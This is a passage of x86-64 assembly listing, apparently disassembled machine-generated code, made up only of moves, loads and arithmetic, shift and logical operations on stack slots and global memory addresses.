mov ecx, dword [rsp + 0x4008]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4164], eax
lea rax, [rsp + 0x8be0]
mov qword [rsp + 0x9fe8], rax
movzx eax, byte [rsp + 0xff]
mov byte [0x14017a69a], al
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x87f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xe78]
mov word [rsp + 0x1218], ax
mov rax, qword [0x14017a710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7148]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9a20]
mov word [rcx], ax
movsx eax, word [rsp + 0x110c]
movsx ecx, word [rsp + 0x11e4]
xor eax, ecx
mov word [rsp + 0xe8c], ax
lea rax, [rsp + 0x3c00]
mov qword [rsp + 0x9ff0], rax
mov rax, qword [rsp + 0x72d0]
mov eax, dword [rax]
cdq
mov ecx, 0x79c5
idiv ecx
mov dword [rsp + 0x3d24], eax
lea rax, [rsp + 0x9920]
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0x83b8]
mov rcx, qword [rsp + 0x6e20]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0xeac]
and eax, ecx
mov word [rsp + 0xfb4], ax
mov rax, qword [rsp + 0x9290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
imul eax, ecx
mov rcx, qword [0x14017a5d0]
mov word [rcx], ax
movzx eax, byte [0x140179037]
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x9298]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov byte [rsp + 0x1bf], al
lea rax, [rsp + 0xf44]
mov qword [rsp + 0xa000], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fbc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7fe0]
mov rcx, qword [rsp + 0x9ef8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7d38]
mov qword [rcx], rax
lea rax, [rsp + 0x7290]
mov qword [rsp + 0xa008], rax
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x41c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4134], eax
lea rax, [rsp + 0x18c]
mov qword [rsp + 0xa010], rax
lea rax, [rsp + 0xc5c]
mov qword [0x14017ab70], rax
mov rax, qword [rsp + 0x8f10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
add eax, ecx
mov byte [rsp + 0x7b], al
mov rax, qword [0x14017a700]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9490]
movzx eax, word [rax]
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fec], eax
mov rax, qword [rsp + 0x7860]
mov rax, qword [rax]
mov qword [rsp + 0xa018], rax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7930], rax
lea rax, [rsp + 0x3cd4]
mov qword [rsp + 0xa020], rax
mov rax, qword [0x14017aab8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf24]
shl eax, cl
mov word [rsp + 0xc60], ax
movzx eax, byte [rsp + 0xaf]
movzx ecx, byte [rsp + 0x69]
xor eax, ecx
mov rcx, qword [0x14017a730]
mov byte [rcx], al
movsx eax, byte [rsp + 0x46]
movsx ecx, byte [rsp + 0x1a4]
or eax, ecx
mov byte [rsp + 0x114], al
lea rax, [rsp + 0xc10]
mov qword [rsp + 0xa028], rax
movzx eax, word [rsp + 0xc68]
movzx ecx, word [rsp + 0xd70]
sar eax, cl
mov rcx, qword [rsp + 0x8108]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f48]
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0x7378]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8590], rax
mov eax, dword [rsp + 0x3f40]
mov ecx, dword [rsp + 0x3f0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9730]
mov dword [rcx], eax
lea rax, [0x140179010]
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0x8a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
and eax, ecx
mov rcx, qword [rsp + 0x9390]
mov byte [rcx], al
lea rax, [rsp + 0x100c]
mov qword [0x14017ab78], rax
movzx eax, word [rsp + 0x10a0]
mov word [rsp + 0x1220], ax
mov rax, qword [0x14017a5b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8a50]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov byte [rcx], al
lea rax, [rsp + 0xfec]
mov qword [rsp + 0xa038], rax
mov rax, qword [rsp + 0x87b8]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9798], rax
mov rax, qword [rsp + 0x9888]
mov eax, dword [rax]
mov dword [rsp + 0x4204], eax
mov rax, qword [rsp + 0x9bd8]
mov rcx, qword [rsp + 0x9e18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf8], rax
mov eax, dword [section..data]
mov dword [rsp + 0x4208], eax
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017915c], ax
movzx eax, byte [rsp + 0x90]
movzx ecx, byte [0x140179062]
sub eax, ecx
mov rcx, qword [rsp + 0x81c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8228]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
movzx eax, word [rsp + 0x107c]
mov word [rsp + 0x1224], ax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900e]
add eax, ecx
mov rcx, qword [rsp + 0x71f8]
mov byte [rcx], al
lea rax, [rsp + 0x3c44]
mov qword [rsp + 0xa040], rax
mov rax, qword [rsp + 0x9bd8]
mov rcx, qword [rsp + 0x9900]
mov qword [rsp + 0xa048], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa048]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x7a58]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x86e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x405c]
mov dword [rsp + 0x420c], eax
mov rax, qword [rsp + 0x9c80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xff]
xor eax, ecx
mov byte [0x14017903e], al
mov rax, qword [rsp + 0x7ac0]
movzx eax, word [rax]
movzx ecx, word [0x140179060]
cdq
idiv ecx
mov word [rsp + 0x1190], ax
mov rax, qword [rsp + 0x7cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d1], al
movzx eax, byte [rsp + 0x169]
movzx ecx, byte [rsp + 0x194]
sar eax, cl
mov byte [rsp + 0x10d], al
mov rax, qword [0x14017a560]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x9088]
mov word [rcx], ax
mov eax, dword [rsp + 0x3d18]
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0x9358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e70]
mov qword [rcx], rax
lea rax, [rsp + 0x3c0c]
mov qword [rsp + 0xa050], rax
mov rax, qword [rsp + 0x7f78]
mov rcx, qword [rsp + 0x6f10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7128], rax
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda4]
and eax, ecx
mov word [0x140179028], ax
movzx eax, byte [0x14017a582]
movzx ecx, byte [rsp + 0x167]
sub eax, ecx
mov byte [rsp + 0x158], al
lea rax, [rsp + 0x17b]
mov qword [rsp + 0xa058], rax
movsx eax, word [rsp + 0x1164]
movsx ecx, word [rsp + 0xc50]
add eax, ecx
mov rcx, qword [rsp + 0x7608]
mov word [rcx], ax
movzx eax, word [rsp + 0xdfc]
mov word [rsp + 0x1228], ax
mov rax, qword [rsp + 0x7680]
mov ecx, dword [rsp + 0x3be0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9930]
mov dword [rcx], eax
lea rax, [rsp + 0x3dc4]
mov qword [rsp + 0xa060], rax
mov rax, qword [rsp + 0x9480]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7840]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d78]
movsx eax, word [rax]
mov rcx, qword [0x14017a858]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140179160], ax
movzx eax, byte [rsp + 0x1b8]
mov byte [rsp + 0x1d2], al
movsx eax, byte [rsp + 0x124]
mov rcx, qword [rsp + 0x9030]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x84d8]
movzx eax, word [rax]
mov word [rsp + 0x122c], ax
movsx eax, byte [0x140179027]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ae], al
mov eax, dword [rsp + 0x41b0]
movzx ecx, al
mov eax, dword [rsp + 0x40fc]
sar eax, cl
mov rcx, qword [rsp + 0xa020]
mov dword [rcx], eax
lea rax, [rsp + 0x9798]
mov qword [rsp + 0xa068], rax
mov rax, qword [rsp + 0x86a8]
mov rcx, qword [rsp + 0x72c8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8728]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7098]
mov eax, dword [rax]
mov dword [rsp + 0x4214], eax
mov rax, qword [rsp + 0x75a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8688]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179023], al
mov rax, qword [0x14017a910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd0c], ax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0x16a]
sub eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, byte [0x14017906b]
mov byte [rsp + 0x1d3], al
movzx eax, word [rsp + 0xddc]
mov rcx, qword [rsp + 0x9e28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd18], ax
lea rax, [rsp + 0x3ee4]
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x9460]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7698], rax
lea rax, [rsp + 0x7970]
mov qword [rsp + 0xa078], rax
mov rax, qword [rsp + 0x8478]
mov rcx, qword [rsp + 0x7788]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9db8]
mov dword [rcx], eax
lea rax, [rsp + 0xfe4]
mov qword [0x14017ab80], rax
mov rax, qword [rsp + 0x8930]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xed0]
sub eax, ecx
mov word [rsp + 0xfac], ax
mov rax, qword [rsp + 0x82b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4], al
movsx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0x8610]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9270]
mov byte [rcx], al
lea rax, [0x140179068]
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0x8868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7760]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7560]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7638]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6f60]
mov dword [rcx], eax
lea rax, [rsp + 0x8240]
mov qword [rsp + 0xa088], rax
mov eax, dword [rsp + 0x3d7c]
movzx ecx, al
mov eax, dword [rsp + 0x3bf8]
sar eax, cl
mov dword [rsp + 0x4068], eax
movzx eax, word [rsp + 0xe14]
mov word [0x14017ab88], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1d5], al
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0xd7c]
shl eax, cl
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x8cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfd4]
xor eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
lea rax, [rsp + 0xf3]
mov qword [rsp + 0xa090], rax
mov rax, qword [rsp + 0xa070]
mov ecx, dword [rsp + 0x3f08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x40c0], eax
lea rax, [rsp + 0x3c10]
mov qword [rsp + 0xa098], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x7fa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9228]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x74e0], rax
lea rax, [rsp + 0xa7]
mov qword [rsp + 0xa0a0], rax
mov rax, qword [0x14017aa78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a4d5], al
mov rax, qword [rsp + 0x8ff0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd08]
sub eax, ecx
mov word [rsp + 0x10e4], ax
mov rax, qword [rsp + 0x9df8]
movzx eax, word [rax]
mov word [rsp + 0x1230], ax
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ca]
add eax, ecx
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0x7380]
mov rax, qword [rax]
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0x9400]
mov rcx, qword [rsp + 0x9730]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0x7690]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91e0], rax
mov eax, dword [rsp + 0x3f70]
mov dword [rsp + 0x4218], eax
mov rax, qword [rsp + 0x9f70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a1]
add eax, ecx
mov byte [rsp + 0x1b5], al
lea rax, [rsp + 0xc08]
mov qword [0x14017ab90], rax
lea rax, [rsp + 0x1168]
mov qword [rsp + 0xa0b0], rax
movzx eax, word [rsp + 0xf2c]
mov rcx, qword [rsp + 0x9d10]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x166]
shl eax, cl
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0x7550]
mov qword [rsp + 0xa0b8], rax
mov rax, qword [rsp + 0x8790]
mov rcx, qword [rsp + 0x9680]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9e30], rax
lea rax, [rsp + 0x3e78]
mov qword [rsp + 0xa0c0], rax
mov eax, dword [rsp + 0x3df4]
mov ecx, dword [rsp + 0x402c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c58]
mov dword [rcx], eax
movzx eax, word [rsp + 0x11dc]
movzx ecx, word [rsp + 0x119c]
sar eax, cl
mov word [rsp + 0xddc], ax
movsx eax, byte [0x14017a55d]
mov rcx, qword [rsp + 0x9030]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a988]
mov byte [rcx], al
movzx eax, word [rsp + 0xdc4]
mov word [rsp + 0x1234], ax
movzx eax, byte [rsp + 0x89]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x82], al
mov rax, qword [0x14017ab00]
movzx eax, word [rax]
mov word [rsp + 0x1238], ax
mov rax, qword [rsp + 0x8400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72d0]
mov eax, dword [rax]
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0x9ae0]
mov rcx, qword [rsp + 0x81e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x81b0], rax
lea rax, [rsp + 0xe74]
mov qword [rsp + 0xa0c8], rax
lea rax, [rsp + 0x126]
mov qword [0x14017ab98], rax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov word [rsp + 0x123c], ax
mov rax, qword [rsp + 0x8d60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x138], al
movsx eax, word [rsp + 0x1064]
mov rcx, qword [rsp + 0x9dd8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1234], ax
mov rax, qword [rsp + 0x8b78]
mov qword [rsp + 0xa0d0], rax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [rsp + 0x4034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d68], eax
mov eax, dword [rsp + 0x3cd8]
mov dword [rsp + 0x4220], eax
mov rax, qword [rsp + 0x7af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ff8]
mov qword [rsp + 0xa0d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa0d8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7630], rax
mov rax, qword [rsp + 0x9030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a7]
or eax, ecx
mov byte [0x14017900e], al
mov rax, qword [rsp + 0x85d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
xor eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x7348]
movzx eax, word [rax]
mov word [rsp + 0x1240], ax
movzx eax, word [rsp + 0xdec]
mov rcx, qword [rsp + 0x7ef0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9e68]
mov word [rcx], ax
lea rax, [rsp + 0x16c]
mov qword [rsp + 0xa0e0], rax
mov rax, qword [rsp + 0x7818]
mov rcx, qword [rsp + 0x7218]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x83e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4124], eax
mov rax, qword [rsp + 0x9dc0]
mov rax, qword [rax]
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x3e6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4114], eax
movsx eax, word [0x140179044]
mov rcx, qword [rsp + 0x7388]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401790a0], ax
mov rax, qword [rsp + 0x85f0]
movzx eax, word [rax]
mov word [rsp + 0x1244], ax
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x8680]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7190]
mov byte [rcx], al
lea rax, [0x14017906e]
mov qword [rsp + 0xa0f0], rax
mov rax, qword [rsp + 0x97e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x116c]
sub eax, ecx
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x9ca0]
mov rcx, qword [rsp + 0x8af8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7140]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7cd8]
mov eax, dword [rax]
mov dword [rsp + 0x4224], eax
mov rax, qword [rsp + 0x6d10]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79e0]
mov rax, qword [rax]
mov qword [rsp + 0xa0f8], rax
movsx eax, byte [0x140179063]
mov rcx, qword [rsp + 0x8798]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790ab], al
movzx eax, word [rsp + 0xe88]
mov rcx, qword [rsp + 0x8528]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x83d0]
mov word [rcx], ax
movsx eax, word [rsp + 0xe24]
mov rcx, qword [rsp + 0x8280]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfd0], ax
lea rax, [rsp + 0x85]
mov qword [rsp + 0xa100], rax
mov rax, qword [rsp + 0x84a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xab]
sar eax, cl
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0x9e40]
mov qword [rsp + 0xa108], rax
mov rax, qword [rsp + 0x7390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f68]
mov qword [rsp + 0xa110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa110]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x85c8], rax
mov rax, qword [rsp + 0x9690]
mov ecx, dword [rsp + 0x421c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3d10], eax
mov eax, dword [rsp + 0x41b4]
mov dword [rsp + 0x4228], eax
lea rax, [rsp + 0xf70]
mov qword [0x14017aba0], rax
mov rax, qword [rsp + 0x9f10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9f]
sub eax, ecx
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x1d6], al
mov rax, qword [0x14017a8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8360]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd38], ax
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [rsp + 0xd9]
and eax, ecx
mov byte [rsp + 0x94], al
lea rax, [rsp + 0x3ef0]
mov qword [rsp + 0xa118], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3f8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4224], eax
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0xa120], rax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c80]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc8c]
movzx ecx, word [rsp + 0x11ac]
sub eax, ecx
mov rcx, qword [0x14017a920]
mov word [rcx], ax
lea rax, [rsp + 0x18e]
mov qword [rsp + 0xa128], rax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [0x14017a6a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x9090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xea0]
add eax, ecx
mov word [rsp + 0xe80], ax
lea rax, [rsp + 0xf54]
mov qword [rsp + 0xa130], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8a20]
mov dword [rcx], eax
lea rax, [rsp + 0x95c0]
mov qword [rsp + 0xa138], rax
mov rax, qword [rsp + 0x9628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4158]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7718]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7648]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7840], rax
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x1a4]
shl eax, cl
mov byte [0x140179047], al
lea rax, [rsp + 0x123]
mov qword [rsp + 0xa140], rax
movsx eax, word [rsp + 0x10c4]
movsx ecx, word [0x14017a718]
sar eax, cl
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
lea rax, [rsp + 0x17d]
mov qword [rsp + 0xa148], rax
mov rax, qword [rsp + 0x8438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7148]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0x86d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8890]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cc8], rax
lea rax, [rsp + 0x3fb0]
mov qword [rsp + 0xa150], rax
mov rax, qword [rsp + 0x91b0]
mov rcx, qword [rsp + 0x8608]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4194], eax
mov rax, qword [rsp + 0x78a8]
mov qword [rsp + 0xa158], rax
mov rax, qword [rsp + 0x9330]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7ba0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790ae], al
movsx eax, word [rsp + 0xd28]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov word [rsp + 0x118c], ax
lea rax, [0x14017915c]
mov qword [rsp + 0xa160], rax
mov rax, qword [rsp + 0x9420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe48]
and eax, ecx
mov rcx, qword [rsp + 0x6d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7028]
mov byte [rcx], al
mov rax, qword [rsp + 0x7d10]
mov qword [rsp + 0xa168], rax
mov rax, qword [rsp + 0x89b0]
mov rcx, qword [rsp + 0x7ad0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
mov dword [rsp + 0x422c], eax
mov rax, qword [rsp + 0x7350]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4060], eax
mov rax, qword [rsp + 0x8eb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8910]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9308]
mov byte [rcx], al
mov rax, qword [rsp + 0xa010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a5c6], al
lea rax, [rsp + 0xe68]
mov qword [rsp + 0xa170], rax
mov rax, qword [rsp + 0x9910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7b00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe08], ax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0xa178], rax
mov rax, qword [rsp + 0x9c30]
mov rcx, qword [rsp + 0x8378]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa138]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x4058]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8208]
mov dword [rcx], eax
lea rax, [rsp + 0x4094]
mov qword [rsp + 0xa180], rax
mov rax, qword [rsp + 0x73b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f98]
mov qword [rsp + 0xa188], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa188]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x70a0], rax
mov rax, qword [rsp + 0x75a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1d7], al
lea rax, [rsp + 0xebc]
